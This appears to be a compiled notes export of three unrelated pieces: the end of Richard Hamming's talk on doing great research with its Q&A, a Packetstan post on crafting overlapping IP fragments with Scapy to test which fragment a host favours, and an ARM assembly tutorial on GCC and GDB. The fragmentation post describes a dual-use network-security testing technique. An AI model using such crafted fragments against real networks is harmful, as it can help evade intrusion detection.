was and what was not important. I found in the early days I had believed
\`this' and yet had spent all week marching in \`that' direction. It was kind
of foolish. If I really believe the action is over there, why do I march in
this direction? I either had to change my goal or change what I did. So I
changed something I did and I marched in the direction I thought was
important. It's that easy.  
  
Now you might tell me you haven't got control over what you have to work on.
Well, when you first begin, you may not. But once you're moderately
successful, there are more people asking for results than you can deliver and
you have some power of choice, but not completely. I'll tell you a story about
that, and it bears on the subject of educating your boss. I had a boss named
Schelkunoff; he was, and still is, a very good friend of mine. Some military
person came to me and demanded some answers by Friday. Well, I had already
dedicated my computing resources to reducing data on the fly for a group of
scientists; I was knee deep in short, small, important problems. This military
person wanted me to solve his problem by the end of the day on Friday. I said,
\`\`No, I'll give it to you Monday. I can work on it over the weekend. I'm not
going to do it now.'' He goes down to my boss, Schelkunoff, and Schelkunoff
says, \`\`You must run this for him; he's got to have it by Friday.'' I tell
him, \`\`Why do I?''; he says, \`\`You have to.'' I said, \`\`Fine, Sergei,
but you're sitting in your office Friday afternoon catching the late bus home
to watch as this fellow walks out that door.'' I gave the military person the
answers late Friday afternoon. I then went to Schelkunoff's office and sat
down; as the man goes out I say, \`\`You see Schelkunoff, this fellow has
nothing under his arm; but I gave him the answers.'' On Monday morning
Schelkunoff called him up and said, \`\`Did you come in to work over the
weekend?'' I could hear, as it were, a pause as the fellow ran through his
mind of what was going to happen; but he knew he would have had to sign in,
and he'd better not say he had when he hadn't, so he said he hadn't. Ever
after that Schelkunoff said, \`\`You set your deadlines; you can change
them.''  
  
One lesson was sufficient to educate my boss as to why I didn't want to do big
jobs that displaced exploratory research and why I was justified in not doing
crash jobs which absorb all the research computing facilities. I wanted
instead to use the facilities to compute a large number of small problems.
Again, in the early days, I was limited in computing capacity and it was
clear, in my area, that a \`\`mathematician had no use for machines.'' But I
needed more machine capacity. Every time I had to tell some scientist in some
other area, \`\`No I can't; I haven't the machine capacity,'' he complained. I
said \`\`Go tell your Vice President that Hamming needs more computing
capacity.'' After a while I could see what was happening up there at the top;
many people said to my Vice President, \`\`Your man needs more computing
capacity.'' I got it\!  
  
I also did a second thing. When I loaned what little programming power we had
to help in the early days of computing, I said, \`\`We are not getting the
recognition for our programmers that they deserve. When you publish a paper
you will thank that programmer or you aren't getting any more help from me.
That programmer is going to be thanked by name; she's worked hard.'' I waited
a couple of years. I then went through a year of BSTJ articles and counted
what fraction thanked some programmer. I took it into the boss and said,
\`\`That's the central role computing is playing in Bell Labs; if the BSTJ is
important, that's how important computing is.'' He had to give in. You can
educate your bosses. It's a hard job. In this talk I'm only viewing from the
bottom up; I'm not viewing from the top down. But I am telling you how you can
get what you want in spite of top management. You have to sell your ideas
there also.  
  
Well I now come down to the topic, \`\`Is the effort to be a great scientist
worth it?'' To answer this, you must ask people. When you get beyond their
modesty, most people will say, \`\`Yes, doing really first-class work, and
knowing it, is as good as wine, women and song put together,'' or if it's a
woman she says, \`\`It is as good as wine, men and song put together.'' And if
you look at the bosses, they tend to come back or ask for reports, trying to
participate in those moments of discovery. They're always in the way. So
evidently those who have done it, want to do it again. But it is a limited
survey. I have never dared to go out and ask those who didn't do great work
how they felt about the matter. It's a biased sample, but I still think it is
worth the struggle. I think it is very definitely worth the struggle to try
and do first-class work because the truth is, the value is in the struggle
more than it is in the result. The struggle to make something of yourself
seems to be worthwhile in itself. The success and fame are sort of dividends,
in my opinion.  
  
I've told you how to do it. It is so easy, so why do so many people, with all
their talents, fail? For example, my opinion, to this day, is that there are
in the mathematics department at Bell Labs quite a few people far more able
and far better endowed than I, but they didn't produce as much. Some of them
did produce more than I did; Shannon produced more than I did, and some others
produced a lot, but I was highly productive against a lot of other fellows who
were better equipped. Why is it so? What happened to them? Why do so many of
the people who have great promise, fail?  
  
Well, one of the reasons is drive and commitment. The people who do great work
with less ability but who are committed to it, get more done that those who
have great skill and dabble in it, who work during the day and go home and do
other things and come back and work the next day. They don't have the deep
commitment that is apparently necessary for really first-class work. They turn
out lots of good work, but we were talking, remember, about first-class work.
There is a difference. Good people, very talented people, almost always turn
out good work. We're talking about the outstanding work, the type of work that
gets the Nobel Prize and gets recognition.  
  
The second thing is, I think, the problem of personality defects. Now I'll
cite a fellow whom I met out in Irvine. He had been the head of a computing
center and he was temporarily on assignment as a special assistant to the
president of the university. It was obvious he had a job with a great future.
He took me into his office one time and showed me his method of getting
letters done and how he took care of his correspondence. He pointed out how
inefficient the secretary was. He kept all his letters stacked around there;
he knew where everything was. And he would, on his word processor, get the
letter out. He was bragging how marvelous it was and how he could get so much
more work done without the secretary's interference. Well, behind his back, I
talked to the secretary. The secretary said, \`\`Of course I can't help him; I
don't get his mail. He won't give me the stuff to log in; I don't know where
he puts it on the floor. Of course I can't help him.'' So I went to him and
said, \`\`Look, if you adopt the present method and do what you can do single-
handedly, you can go just that far and no farther than you can do single-
handedly. If you will learn to work with the system, you can go as far as the
system will support you.'' And, he never went any further. He had his
personality defect of wanting total control and was not willing to recognize
that you need the support of the system.  
  
You find this happening again and again; good scientists will fight the system
rather than learn to work with the system and take advantage of all the system
has to offer. It has a lot, if you learn how to use it. It takes patience, but
you can learn how to use the system pretty well, and you can learn how to get
around it. After all, if you want a decision \`No', you just go to your boss
and get a \`No' easy. If you want to do something, don't ask, do it. Present
him with an accomplished fact. Don't give him a chance to tell you \`No'. But
if you want a \`No', it's easy to get a \`No'.  
  
Another personality defect is ego assertion and I'll speak in this case of my
own experience. I came from Los Alamos and in the early days I was using a
machine in New York at 590 Madison Avenue where we merely rented time. I was
still dressing in western clothes, big slash pockets, a bolo and all those
things. I vaguely noticed that I was not getting as good service as other
people. So I set out to measure. You came in and you waited for your turn; I
felt I was not getting a fair deal. I said to myself, \`\`Why? No Vice
President at IBM said, \`Give Hamming a bad time'. It is the secretaries at
the bottom who are doing this. When a slot appears, they'll rush to find
someone to slip in, but they go out and find somebody else. Now, why? I
haven't mistreated them.'' Answer, I wasn't dressing the way they felt
somebody in that situation should. It came down to just that - I wasn't
dressing properly. I had to make the decision - was I going to assert my ego
and dress the way I wanted to and have it steadily drain my effort from my
professional life, or was I going to appear to conform better? I decided I
would make an effort to appear to conform properly. The moment I did, I got
much better service. And now, as an old colorful character, I get better
service than other people.  
  
You should dress according to the expectations of the audience spoken to. If I
am going to give an address at the MIT computer center, I dress with a bolo
and an old corduroy jacket or something else. I know enough not to let my
clothes, my appearance, my manners get in the way of what I care about. An
enormous number of scientists feel they must assert their ego and do their
thing their way. They have got to be able to do this, that, or the other
thing, and they pay a steady price.  
  
John Tukey almost always dressed very casually. He would go into an important
office and it would take a long time before the other fellow realized that
this is a first-class man and he had better listen. For a long time John has
had to overcome this kind of hostility. It's wasted effort\! I didn't say you
should conform; I said \`\`The appearance of conforming gets you a long way.''
If you chose to assert your ego in any number of ways, \`\`I am going to do it
my way,'' you pay a small steady price throughout the whole of your
professional career. And this, over a whole lifetime, adds up to an enormous
amount of needless trouble.  
  
By taking the trouble to tell jokes to the secretaries and being a little
friendly, I got superb secretarial help. For instance, one time for some idiot
reason all the reproducing services at Murray Hill were tied up. Don't ask me
how, but they were. I wanted something done. My secretary called up somebody
at Holmdel, hopped the company car, made the hour-long trip down and got it
reproduced, and then came back. It was a payoff for the times I had made an
effort to cheer her up, tell her jokes and be friendly; it was that little
extra work that later paid off for me. By realizing you have to use the system
and studying how to get the system to do your work, you learn how to adapt the
system to your desires. Or you can fight it steadily, as a small undeclared
war, for the whole of your life.  
  
And I think John Tukey paid a terrible price needlessly. He was a genius
anyhow, but I think it would have been far better, and far simpler, had he
been willing to conform a little bit instead of ego asserting. He is going to
dress the way he wants all of the time. It applies not only to dress but to a
thousand other things; people will continue to fight the system. Not that you
shouldn't occasionally\!  
  
When they moved the library from the middle of Murray Hill to the far end, a
friend of mine put in a request for a bicycle. Well, the organization was not
dumb. They waited awhile and sent back a map of the grounds saying, \`\`Will
you please indicate on this map what paths you are going to take so we can get
an insurance policy covering you.'' A few more weeks went by. They then asked,
\`\`Where are you going to store the bicycle and how will it be locked so we
can do so and so.'' He finally realized that of course he was going to be red-
taped to death so he gave in. He rose to be the President of Bell
Laboratories.  
  
Barney Oliver was a good man. He wrote a letter one time to the IEEE. At that
time the official shelf space at Bell Labs was so much and the height of the
IEEE Proceedings at that time was larger; and since you couldn't change the
size of the official shelf space he wrote this letter to the IEEE Publication
person saying, \`\`Since so many IEEE members were at Bell Labs and since the
official space was so high the journal size should be changed.'' He sent it
for his boss's signature. Back came a carbon with his signature, but he still
doesn't know whether the original was sent or not. I am not saying you
shouldn't make gestures of reform. I am saying that my study of able people is
that they don't get themselves committed to that kind of warfare. They play it
a little bit and drop it and get on with their work.  
  
Many a second-rate fellow gets caught up in some little twitting of the
system, and carries it through to warfare. He expends his energy in a foolish
project. Now you are going to tell me that somebody has to change the system.
I agree; somebody's has to. Which do you want to be? The person who changes
the system or the person who does first-class science? Which person is it that
you want to be? Be clear, when you fight the system and struggle with it, what
you are doing, how far to go out of amusement, and how much to waste your
effort fighting the system. My advice is to let somebody else do it and you
get on with becoming a first-class scientist. Very few of you have the ability
to both reform the system and become a first-class scientist.  
  
On the other hand, we can't always give in. There are times when a certain
amount of rebellion is sensible. I have observed almost all scientists enjoy a
certain amount of twitting the system for the sheer love of it. What it comes
down to basically is that you cannot be original in one area without having
originality in others. Originality is being different. You can't be an
original scientist without having some other original characteristics. But
many a scientist has let his quirks in other places make him pay a far higher
price than is necessary for the ego satisfaction he or she gets. I'm not
against all ego assertion; I'm against some.  
  
Another fault is anger. Often a scientist becomes angry, and this is no way to
handle things. Amusement, yes, anger, no. Anger is misdirected. You should
follow and cooperate rather than struggle against the system all the time.  
  
Another thing you should look for is the positive side of things instead of
the negative. I have already given you several examples, and there are many,
many more; how, given the situation, by changing the way I looked at it, I
converted what was apparently a defect to an asset. I'll give you another
example. I am an egotistical person; there is no doubt about it. I knew that
most people who took a sabbatical to write a book, didn't finish it on time.
So before I left, I told all my friends that when I come back, that book was
going to be done\! Yes, I would have it done - I'd have been ashamed to come
back without it\! I used my ego to make myself behave the way I wanted to. I
bragged about something so I'd have to perform. I found out many times, like a
cornered rat in a real trap, I was surprisingly capable. I have found that it
paid to say, \`\`Oh yes, I'll get the answer for you Tuesday,'' not having any
idea how to do it. By Sunday night I was really hard thinking on how I was
going to deliver by Tuesday. I often put my pride on the line and sometimes I
failed, but as I said, like a cornered rat I'm surprised how often I did a
good job. I think you need to learn to use yourself. I think you need to know
how to convert a situation from one view to another which would increase the
chance of success.  
  
Now self-delusion in humans is very, very common. There are enumerable ways of
you changing a thing and kidding yourself and making it look some other way.
When you ask, \`\`Why didn't you do such and such,'' the person has a thousand
alibis. If you look at the history of science, usually these days there are 10
people right there ready, and we pay off for the person who is there first.
The other nine fellows say, \`\`Well, I had the idea but I didn't do it and so
on and so on.'' There are so many alibis. Why weren't you first? Why didn't
you do it right? Don't try an alibi. Don't try and kid yourself. You can tell
other people all the alibis you want. I don't mind. But to yourself try to be
honest.  
  
If you really want to be a first-class scientist you need to know yourself,
your weaknesses, your strengths, and your bad faults, like my egotism. How can
you convert a fault to an asset? How can you convert a situation where you
haven't got enough manpower to move into a direction when that's exactly what
you need to do? I say again that I have seen, as I studied the history, the
successful scientist changed the viewpoint and what was a defect became an
asset.  
  
In summary, I claim that some of the reasons why so many people who have
greatness within their grasp don't succeed are: they don't work on important
problems, they don't become emotionally involved, they don't try and change
what is difficult to some other situation which is easily done but is still
important, and they keep giving themselves alibis why they don't. They keep
saying that it is a matter of luck. I've told you how easy it is; furthermore
I've told you how to reform. Therefore, go forth and become great scientists\!  
  
  
  
**Questions and Answers**  
  
A. G. Chynoweth: Well that was 50 minutes of concentrated wisdom and
observations accumulated over a fantastic career; I lost track of all the
observations that were striking home. Some of them are very very timely. One
was the plea for more computer capacity; I was hearing nothing but that this
morning from several people, over and over again. So that was right on the
mark today even though here we are 20 - 30 years after when you were making
similar remarks, Dick. I can think of all sorts of lessons that all of us can
draw from your talk. And for one, as I walk around the halls in the future I
hope I won't see as many closed doors in Bellcore. That was one observation I
thought was very intriguing.  
  
Thank you very, very much indeed Dick; that was a wonderful recollection. I'll
now open it up for questions. I'm sure there are many people who would like to
take up on some of the points that Dick was making.  
  
Hamming: First let me respond to Alan Chynoweth about computing. I had
computing in research and for 10 years I kept telling my management, \`\`Get
that \!&@\#% machine out of research. We are being forced to run problems all
the time. We can't do research because were too busy operating and running the
computing machines.'' Finally the message got through. They were going to move
computing out of research to someplace else. I was persona non grata to say
the least and I was surprised that people didn't kick my shins because
everybody was having their toy taken away from them. I went in to Ed David's
office and said, \`\`Look Ed, you've got to give your researchers a machine.
If you give them a great big machine, we'll be back in the same trouble we
were before, so busy keeping it going we can't think. Give them the smallest
machine you can because they are very able people. They will learn how to do
things on a small machine instead of mass computing.'' As far as I'm
concerned, that's how UNIX arose. We gave them a moderately small machine and
they decided to make it do great things. They had to come up with a system to
do it on. It is called UNIX\!  
  
A. G. Chynoweth: I just have to pick up on that one. In our present
environment, Dick, while we wrestle with some of the red tape attributed to,
or required by, the regulators, there is one quote that one exasperated AVP
came up with and I've used it over and over again. He growled that, \`\`UNIX
was never a deliverable\!''  
  
Question: What about personal stress? Does that seem to make a difference?  
  
Hamming: Yes, it does. If you don't get emotionally involved, it doesn't. I
had incipient ulcers most of the years that I was at Bell Labs. I have since
gone off to the Naval Postgraduate School and laid back somewhat, and now my
health is much better. But if you want to be a great scientist you're going to
have to put up with stress. You can lead a nice life; you can be a nice guy or
you can be a great scientist. But nice guys end last, is what Leo Durocher
said. If you want to lead a nice happy life with a lot of recreation and
everything else, you'll lead a nice life.  
  
Question: The remarks about having courage, no one could argue with; but those
of us who have gray hairs or who are well established don't have to worry too
much. But what I sense among the young people these days is a real concern
over the risk taking in a highly competitive environment. Do you have any
words of wisdom on this?  
  
Hamming: I'll quote Ed David more. Ed David was concerned about the general
loss of nerve in our society. It does seem to me that we've gone through
various periods. Coming out of the war, coming out of Los Alamos where we
built the bomb, coming out of building the radars and so on, there came into
the mathematics department, and the research area, a group of people with a
lot of guts. They've just seen things done; they've just won a war which was
fantastic. We had reasons for having courage and therefore we did a great
deal. I can't arrange that situation to do it again. I cannot blame the
present generation for not having it, but I agree with what you say; I just
cannot attach blame to it. It doesn't seem to me they have the desire for
greatness; they lack the courage to do it. But we had, because we were in a
favorable circumstance to have it; we just came through a tremendously
successful war. In the war we were looking very, very bad for a long while; it
was a very desperate struggle as you well know. And our success, I think, gave
us courage and self confidence; that's why you see, beginning in the late
forties through the fifties, a tremendous productivity at the labs which was
stimulated from the earlier times. Because many of us were earlier forced to
learn other things - we were forced to learn the things we didn't want to
learn, we were forced to have an open door - and then we could exploit those
things we learned. It is true, and I can't do anything about it; I cannot
blame the present generation either. It's just a fact.  
  
Question: Is there something management could or should do?  
  
Hamming: Management can do very little. If you want to talk about managing
research, that's a totally different talk. I'd take another hour doing that.
This talk is about how the individual gets very successful research done in
spite of anything the management does or in spite of any other opposition. And
how do you do it? Just as I observe people doing it. It's just that simple and
that hard\!  
  
Question: Is brainstorming a daily process?  
  
Hamming: Once that was a very popular thing, but it seems not to have paid
off. For myself I find it desirable to talk to other people; but a session of
brainstorming is seldom worthwhile. I do go in to strictly talk to somebody
and say, \`\`Look, I think there has to be something here. Here's what I think
I see ...'' and then begin talking back and forth. But you want to pick
capable people. To use another analogy, you know the idea called the
\`critical mass.' If you have enough stuff you have critical mass. There is
also the idea I used to call \`sound absorbers'. When you get too many sound
absorbers, you give out an idea and they merely say, \`\`Yes, yes, yes.'' What
you want to do is get that critical mass in action; \`\`Yes, that reminds me
of so and so,'' or, \`\`Have you thought about that or this?'' When you talk
to other people, you want to get rid of those sound absorbers who are nice
people but merely say, \`\`Oh yes,'' and to find those who will stimulate you
right back.  
  
For example, you couldn't talk to John Pierce without being stimulated very
quickly. There were a group of other people I used to talk with. For example
there was Ed Gilbert; I used to go down to his office regularly and ask him
questions and listen and come back stimulated. I picked my people carefully
with whom I did or whom I didn't brainstorm because the sound absorbers are a
curse. They are just nice guys; they fill the whole space and they contribute
nothing except they absorb ideas and the new ideas just die away instead of
echoing on. Yes, I find it necessary to talk to people. I think people with
closed doors fail to do this so they fail to get their ideas sharpened, such
as \`\`Did you ever notice something over here?'' I never knew anything about
it - I can go over and look. Somebody points the way. On my visit here, I have
already found several books that I must read when I get home. I talk to people
and ask questions when I think they can answer me and give me clues that I do
not know about. I go out and look\!  
  
Question: What kind of tradeoffs did you make in allocating your time for
reading and writing and actually doing research?  
  
Hamming: I believed, in my early days, that you should spend at least as much
time in the polish and presentation as you did in the original research. Now
at least 50% of the time must go for the presentation. It's a big, big number.  
  
Question: How much effort should go into library work?  
  
Hamming: It depends upon the field. I will say this about it. There was a
fellow at Bell Labs, a very, very, smart guy. He was always in the library; he
read everything. If you wanted references, you went to him and he gave you all
kinds of references. But in the middle of forming these theories, I formed a
proposition: there would be no effect named after him in the long run. He is
now retired from Bell Labs and is an Adjunct Professor. He was very valuable;
I'm not questioning that. He wrote some very good Physical Review articles;
but there's no effect named after him because he read too much. If you read
all the time what other people have done you will think the way they thought.
If you want to think new thoughts that are different, then do what a lot of
creative people do - get the problem reasonably clear and then refuse to look
at any answers until you've thought the problem through carefully how you
would do it, how you could slightly change the problem to be the correct one.
So yes, you need to keep up. You need to keep up more to find out what the
problems are than to read to find the solutions. The reading is necessary to
know what is going on and what is possible. But reading to get the solutions
does not seem to be the way to do great research. So I'll give you two
answers. You read; but it is not the amount, it is the way you read that
counts.  
  
Question: How do you get your name attached to things?  
  
Hamming: By doing great work. I'll tell you the hamming window one. I had
given Tukey a hard time, quite a few times, and I got a phone call from him
from Princeton to me at Murray Hill. I knew that he was writing up power
spectra and he asked me if I would mind if he called a certain window a
\`\`Hamming window.'' And I said to him, \`\`Come on, John; you know perfectly
well I did only a small part of the work but you also did a lot.'' He said,
\`\`Yes, Hamming, but you contributed a lot of small things; you're entitled
to some credit.'' So he called it the hamming window. Now, let me go on. I had
twitted John frequently about true greatness. I said true greatness is when
your name is like ampere, watt, and fourier - when it's spelled with a lower
case letter. That's how the hamming window came about.  
  
Question: Dick, would you care to comment on the relative effectiveness
between giving talks, writing papers, and writing books?  
  
Hamming: In the short-haul, papers are very important if you want to stimulate
someone tomorrow. If you want to get recognition long-haul, it seems to me
writing books is more contribution because most of us need orientation. In
this day of practically infinite knowledge, we need orientation to find our
way. Let me tell you what infinite knowledge is. Since from the time of Newton
to now, we have come close to doubling knowledge every 17 years, more or less.
And we cope with that, essentially, by specialization. In the next 340 years
at that rate, there will be 20 doublings, i.e. a million, and there will be a
million fields of specialty for every one field now. It isn't going to happen.
The present growth of knowledge will choke itself off until we get different
tools. I believe that books which try to digest, coordinate, get rid of the
duplication, get rid of the less fruitful methods and present the underlying
ideas clearly of what we know now, will be the things the future generations
will value. Public talks are necessary; private talks are necessary; written
papers are necessary. But I am inclined to believe that, in the long-haul,
books which leave out what's not essential are more important than books which
tell you everything because you don't want to know everything. I don't want to
know that much about penguins is the usual reply. You just want to know the
essence.  
  
Question: You mentioned the problem of the Nobel Prize and the subsequent
notoriety of what was done to some of the careers. Isn't that kind of a much
more broad problem of fame? What can one do?  
  
Hamming: Some things you could do are the following. Somewhere around every
seven years make a significant, if not complete, shift in your field. Thus, I
shifted from numerical analysis, to hardware, to software, and so on,
periodically, because you tend to use up your ideas. When you go to a new
field, you have to start over as a baby. You are no longer the big mukity muk
and you can start back there and you can start planting those acorns which
will become the giant oaks. Shannon, I believe, ruined himself. In fact when
he left Bell Labs, I said, \`\`That's the end of Shannon's scientific
career.'' I received a lot of flak from my friends who said that Shannon was
just as smart as ever. I said, \`\`Yes, he'll be just as smart, but that's the
end of his scientific career,'' and I truly believe it was.  
  
You have to change. You get tired after a while; you use up your originality
in one field. You need to get something nearby. I'm not saying that you shift
from music to theoretical physics to English literature; I mean within your
field you should shift areas so that you don't go stale. You couldn't get away
with forcing a change every seven years, but if you could, I would require a
condition for doing research, being that you will change your field of
research every seven years with a reasonable definition of what it means, or
at the end of 10 years, management has the right to compel you to change. I
would insist on a change because I'm serious. What happens to the old fellows
is that they get a technique going; they keep on using it. They were marching
in that direction which was right then, but the world changes. There's the new
direction; but the old fellows are still marching in their former direction.  
  
You need to get into a new field to get new viewpoints, and before you use up
all the old ones. You can do something about this, but it takes effort and
energy. It takes courage to say, \`\`Yes, I will give up my great
reputation.'' For example, when error correcting codes were well launched,
having these theories, I said, \`\`Hamming, you are going to quit reading
papers in the field; you are going to ignore it completely; you are going to
try and do something else other than coast on that.'' I deliberately refused
to go on in that field. I wouldn't even read papers to try to force myself to
have a chance to do something else. I managed myself, which is what I'm
preaching in this whole talk. Knowing many of my own faults, I manage myself.
I have a lot of faults, so I've got a lot of problems, i.e. a lot of
possibilities of management.  
  
Question: Would you compare research and management?  
  
Hamming: If you want to be a great researcher, you won't make it being
president of the company. If you want to be president of the company, that's
another thing. I'm not against being president of the company. I just don't
want to be. I think Ian Ross does a good job as President of Bell Labs. I'm
not against it; but you have to be clear on what you want. Furthermore, when
you're young, you may have picked wanting to be a great scientist, but as you
live longer, you may change your mind. For instance, I went to my boss, Bode,
one day and said, \`\`Why did you ever become department head? Why didn't you
just be a good scientist?'' He said, \`\`Hamming, I had a vision of what
mathematics should be in Bell Laboratories. And I saw if that vision was going
to be realized, I had to make it happen; I had to be department head.'' When
your vision of what you want to do is what you can do single-handedly, then
you should pursue it. The day your vision, what you think needs to be done, is
bigger than what you can do single-handedly, then you have to move toward
management. And the bigger the vision is, the farther in management you have
to go. If you have a vision of what the whole laboratory should be, or the
whole Bell System, you have to get there to make it happen. You can't make it
happen from the bottom very easily. It depends upon what goals and what
desires you have. And as they change in life, you have to be prepared to
change. I chose to avoid management because I preferred to do what I could do
single-handedly. But that's the choice that I made, and it is biased. Each
person is entitled to their choice. Keep an open mind. But when you do choose
a path, for heaven's sake be aware of what you have done and the choice you
have made. Don't try to do both sides.  
  
Question: How important is one's own expectation or how important is it to be
in a group or surrounded by people who expect great work from you?  
  
Hamming: At Bell Labs everyone expected good work from me - it was a big help.
Everybody expects you to do a good job, so you do, if you've got pride. I
think it's very valuable to have first-class people around. I sought out the
best people. The moment that physics table lost the best people, I left. The
moment I saw that the same was true of the chemistry table, I left. I tried to
go with people who had great ability so I could learn from them and who would
expect great results out of me. By deliberately managing myself, I think I did
much better than laissez faire.  
  
Question: You, at the outset of your talk, minimized or played down luck; but
you seemed also to gloss over the circumstances that got you to Los Alamos,
that got you to Chicago, that got you to Bell Laboratories.  
  
Hamming: There was some luck. On the other hand I don't know the alternate
branches. Until you can say that the other branches would not have been
equally or more successful, I can't say. Is it luck the particular thing you
do? For example, when I met Feynman at Los Alamos, I knew he was going to get
a Nobel Prize. I didn't know what for. But I knew darn well he was going to do
great work. No matter what directions came up in the future, this man would do
great work. And sure enough, he did do great work. It isn't that you only do a
little great work at this circumstance and that was luck, there are many
opportunities sooner or later. There are a whole pail full of opportunities,
of which, if you're in this situation, you seize one and you're great over
there instead of over here. There is an element of luck, yes and no. Luck
favors a prepared mind; luck favors a prepared person. It is not guaranteed; I
don't guarantee success as being absolutely certain. I'd say luck changes the
odds, but there is some definite control on the part of the individual.  
  
Go forth, then, and do great work\!  
  
  
---  
  
  

* * *  
---

# Packetstan: Crafting Overlapping Fragments ….. Finally\!

**Created:**| _4/30/2011 5:59:57 PM_  
---|---  
**Updated:**| _4/30/2011 5:59:57 PM_  
**Author:**| __  
**Tags:**| _bookmark packet-analysis iDS/iPS network-security_  
  

### Crafting Overlapping Fragments ….. Finally\!

  
  
  
  
  
In the two posts leading up to this one, I discussed the theory of
fragmentation and checksums . Now, we're finally ready to see the Scapy code
that will craft the fragments show in the following diagram.  
<img src='img/Temp2_6101.png' />  

Because most of the complexity of crafting overlapping fragments is associated
with fragmentation and checksum theory, the code is very simple.

<img src='img/Temp2_6095.png' />

We set some variables – our destination IP, and the payloads that will be
found in the three different datagrams that will be sent. We craft the first
IP header to contain the destination IP, ICMP as the protocol, an IP ID value
of 12345, and the MF flag set. We craft an ICMP header for an ICMP echo
request, and assign it the appropriate checksum value that we've already
computed using techniques discussed in the 2nd post. We craft the packet
consisting of an IP header, followed by the ICMP header, followed by the first
payload of "AABBAABBAABB" and send it.

The second datagram has an IP header that is similar to the first; however, it
contains a fragment offset of 1, or 8 bytes after the IP header. We attach
what becomes the overlapping payload value of "BBAABBAABBAA" and send it.
Finally, the third datagram IP header has an MF flag of  0 to indicate that
this is the final fragment and give it a fragment offset of 2, or 16 bytes
after the IP header. It has a payload value of "CCCCCCCC".

Now, let's execute the program and capture the traffic using tcpdump. Remember
that if everything goes well, we should elicit an ICMP echo reply with a
payload that reveals the favored fragment. Let's see the outcome. As you can
see the receiver 10.3.8.239 responds with a payload of "AABBAABBCCCCCCCC" in
the ICMP echo reply, meaning that it favored the first fragment.

<img src='img/Temp2_6097.png' />

  
Remember that if you try this code, you may get a different response because
different operating systems may favor the overlapping fragment. The test we
just performed was with wholly overlapping fragments where the original and
overlapping fragments began at the same fragment offset and were the same
length. There are many more tests that are discussed in more detail in the
"Target-based Fragmentation Reassembly"  
  
Let's take one more example of overlapping fragments.  
<img src='img/Temp2_6100.png' />  

This time, the first datagram contains an IP header with the MF set and an
ICMP header. The first fragment falls 16 bytes after the IP header, leaving an
8-byte gap between the end of the ICMP header and the fragment payload of
"ABABABAB". We follow this with an overlap of the first fragment. But, this
fragment payload begins before and ends after the first fragment payload. It
fills in the missing 8-byte gap between end of the ICMP header and the
beginning of the first fragment with a payload of "AAAAAAAA", overlaps the
first fragment with a payload of "BABABABA", and has 8 additional bytes of
"CCCCCCCC".

First, let's use interactive Scapy to craft the packet we're going to send and
display the ICMP header to expose the ICMP checksum value we need to supply.  

<img src='img/Temp2_6096.png' />

We see that we need an ICMP checksum value of 0xdce8. Here is the simple
program to craft the overlaps.

<img src='img/Temp2_6098.png' />

  

Our first fragment is comprised of an IP header with the MF set, followed by
the ICMP header with the correct ICMP checksum. The second fragment lies at an
offset of 2, or 16 bytes after the IP header, with the MF set, and a payload
of "ABABABAB". The third and final fragment begins at an offset of 1, or 8
bytes after the IP header \(directly after the ICMP header\), the MF is not
set, with a payload of "AAAAAAAABABABABACCCCCCCC".

<img src='img/Temp2_6099.png' />

We see the receiver's ICMP echo response payload of
"AAAAAAAABABABABACCCCCCCC", indicating it favored the overlapping fragment.

That wraps up this series on crafting overlapping fragments using Scapy. As
you see, the code is fairly simple if you understand the concepts of
fragmentation and checksums. Give it a shot and try these examples or other
overlap combinations to see what responses you receive.

# Vikram and Neha: Android ARM Assembly: GCC and GDB \(Part 4\)

**Created:**| _9/18/2011 7:51:11 AM_  
---|---  
**Updated:**| _9/18/2011 7:51:11 AM_  
**Author:**| __  
**Tags:**| _Debugging asm android arm_  
  

### Android ARM Assembly: GCC and GDB \(Part 4\)

This is part four of a multi-part series. This part covers the Gnu C Compiler
and the Gnu Debugger. Both are essential development tools.  
  
Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
=> Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
In case you already know how to use Gnu tools in the Intel world, they work in
the same way for ARM machines.  
  
GCC  
GCC is the default compiler on Linux systems. It is a versatile compiler. We
need very few options for our ARM assembly development.  

[code]

    $ gcc -S source.c
[/code]

This is perhaps the most useful way in which we can use gcc. It creates an
assembly source.s file which corresponds to the C source code. This is great
for learning how gcc translates specific C constructs to assembly.  

[code]

    $ gcc -o hello source.c
[/code]

Compile C file source.c into an executable called hello.  

[code]

    $ gcc -o hello source.s
[/code]

Compile assembly file source.s into an executable called hello. This is
probably what you will be using all along.  
The full GCC manual can be downloaded online.  
  
GAS  
Gas is the GNU assembler, and is the default assembler on Linux systems. My
tutorials don't call gas directly. If you invoke gas yourself, you get an
object file that you need to link against glibc using the linker. Invoking gcc
on assembly source code calls gas and the linker, so I prefer to do that.  
  
Knowledge of the assembler helps when you want to use specific assembler
directives. The gas manual is available online.  
  
GDB  
While programming assembly, you often need something to show you what the
state of the machine is. You need to see every register and every memory
location. This is where GDB comes in. It is free, it is easy to use. Here is a
gentle introduction to gdb to cover most assembly needs.  

[code]

    $ gdb hello
[/code]

Start gdb with the executable called hello. It prints a helpful message, and
drops you to the \(gdb\) prompt. This prompt is where you type all commands.  

[code]

    (gdb) **disassemble main**
    Dump of assembler code for function main:
       0x000083d0 <+0>:	push	{r11, lr}
       0x000083d4 <+4>:	add	r11, sp, #4
       0x000083d8 <+8>:	sub	sp, sp, #8
       0x000083dc <+12>:	str	r0, [r11, #-8]
       0x000083e0 <+16>:	str	r1, [r11, #-12]
       0x000083e4 <+20>:	ldr	r0, [pc, #20]	; 0x8400 
       0x000083e8 <+24>:	bl	0x82e8 
       0x000083ec <+28>:	mov	r3, #0
       0x000083f0 <+32>:	mov	r0, r3
       0x000083f4 <+36>:	sub	sp, r11, #4
       0x000083f8 <+40>:	pop	{r11, lr}
       0x000083fc <+44>:	bx	lr
       0x00008400 <+48>:	andeq	r8, r0, r8, lsl #9
    End of assembler dump.
[/code]

Look at the assembly source of any function. In this case, we looked through
the assembly output of main, the entry point to our hello word function. There
are some familiar instructions here already. Disassembly can be done for any
executable. You don't need the source code for the program.  

[code]

    (gdb) **break *0x000083e4**
    Breakpoint 1 at 0x83e4
[/code]

This sets a breakpoint at the specified memory address. When you run the
program, the execution will break at that location, and you will be dropped
back on the gdb shell to inspect the state.  

[code]

    (gdb) **run**
    Starting program: /home/user/ARM/hello 
    
    Breakpoint 1, 0x000083e4 in main ()
    
[/code]

